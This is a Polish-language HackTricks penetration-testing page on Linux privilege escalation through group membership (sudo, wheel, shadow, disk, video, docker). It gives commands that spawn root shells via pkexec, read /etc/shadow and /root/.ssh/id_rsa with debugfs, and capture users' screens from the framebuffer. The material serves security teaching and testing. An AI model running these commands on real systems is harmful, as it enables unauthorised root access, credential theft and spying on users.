hacktricks/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
2024-02-11 01:46:25 +00:00

7.9 KiB

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Grupy Sudo/Admin

PE - Metoda 1

Czasami, domyślnie (lub dlatego, że niektóre oprogramowanie tego wymaga) w pliku /etc/sudoers można znaleźć niektóre z tych linii:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

To oznacza, że każdy użytkownik należący do grupy sudo lub admin może wykonywać polecenia jako sudo.

Jeśli tak jest, aby stać się użytkownikiem root, wystarczy wykonać:

sudo su

PE - Metoda 2

Znajdź wszystkie binarne pliki suid i sprawdź, czy istnieje plik binarny Pkexec:

find / -perm -4000 2>/dev/null

Jeśli zauważysz, że binarny plik pkexec ma ustawiony bit SUID i należysz do grupy sudo lub admin, prawdopodobnie będziesz mógł wykonywać binarne pliki jako sudo za pomocą pkexec. Sprawdź zawartość:

cat /etc/polkit-1/localauthority.conf.d/*

Poniżej znajdziesz informacje o grupach, które mają uprawnienia do wykonania pkexec i które domyślnie mogą występować w niektórych dystrybucjach Linuxa, takich jak sudo lub admin.

Aby stać się użytkownikiem root, można wykonać:

pkexec "/bin/sh" #You will be prompted for your user password

Jeśli próbujesz uruchomić pkexec i otrzymujesz ten błąd:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

To nie dlatego, że nie masz uprawnień, ale dlatego, że nie jesteś połączony bez GUI. Istnieje jednak sposób na obejście tego problemu tutaj: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Potrzebujesz 2 różnych sesji SSH:

{% code title="sesja1" %}

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

{% code title="sesja2" %}

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

{% endcode %}

Grupa Wheel

Czasami, domyślnie w pliku /etc/sudoers można znaleźć tę linię:

%wheel	ALL=(ALL:ALL) ALL

To oznacza, że każdy użytkownik należący do grupy wheel może wykonywać dowolne polecenie jako sudo.

Jeśli tak jest, aby stać się rootem, wystarczy wykonać:

sudo su

Grupa Shadow

Użytkownicy z grupy shadow mogą odczytywać plik /etc/shadow:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

Tak więc, przeczytaj plik i spróbuj odkodować niektóre hashe.

Grupa dyskowa

Ten przywilej jest prawie równoważny dostępowi root ponieważ umożliwia dostęp do wszystkich danych wewnątrz maszyny.

Pliki: /dev/sd[a-z][1-9]

debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Zauważ, że używając debugfs możesz również zapisywać pliki. Na przykład, aby skopiować /tmp/asd1.txt do /tmp/asd2.txt, możesz wykonać:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

Jednakże, jeśli spróbujesz zapisać pliki należące do roota takie jak `/etc/shadow` lub `/etc/passwd`, otrzymasz błąd "Permission denied".

Grupa Video

Za pomocą polecenia w można sprawdzić kto jest zalogowany w systemie i wyświetlić wynik podobny do poniższego:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1 oznacza, że użytkownik yossi jest fizycznie zalogowany do terminala na maszynie.

Grupa video ma dostęp do wyświetlania obrazu z ekranu. W zasadzie można obserwować ekran. Aby to zrobić, musisz przechwycić bieżący obraz na ekranie w postaci surowych danych i uzyskać rozdzielczość, jaką ekran używa. Dane ekranu można zapisać w /dev/fb0, a rozdzielczość tego ekranu można znaleźć w /sys/class/graphics/fb0/virtual_size.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Aby otworzyć surowy obraz, można użyć GIMP, wybrać plik screen.raw i wybrać jako typ pliku Dane surowego obrazu:

Następnie zmodyfikuj szerokość i wysokość na te używane na ekranie i sprawdź różne typy obrazu i wybierz ten, który najlepiej pokazuje ekran:

Grupa Root

Wygląda na to, że domyślnie członkowie grupy root mogą mieć dostęp do modyfikacji niektórych plików konfiguracyjnych usług lub niektórych plików bibliotek lub innych interesujących rzeczy, które mogą być wykorzystane do eskalacji uprawnień...

Sprawdź, które pliki mogą być modyfikowane przez członków grupy root:

find / -group root -perm -g=w 2>/dev/null

Grupa Docker

Możesz zamontować system plików roota hosta na woluminie instancji, więc gdy instancja zostanie uruchomiona, natychmiast wczytuje chroot do tego woluminu. To efektywnie daje ci uprawnienia roota na maszynie.

{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}

{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}

Grupa lxc/lxd

lxc - Eskalacja uprawnień

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: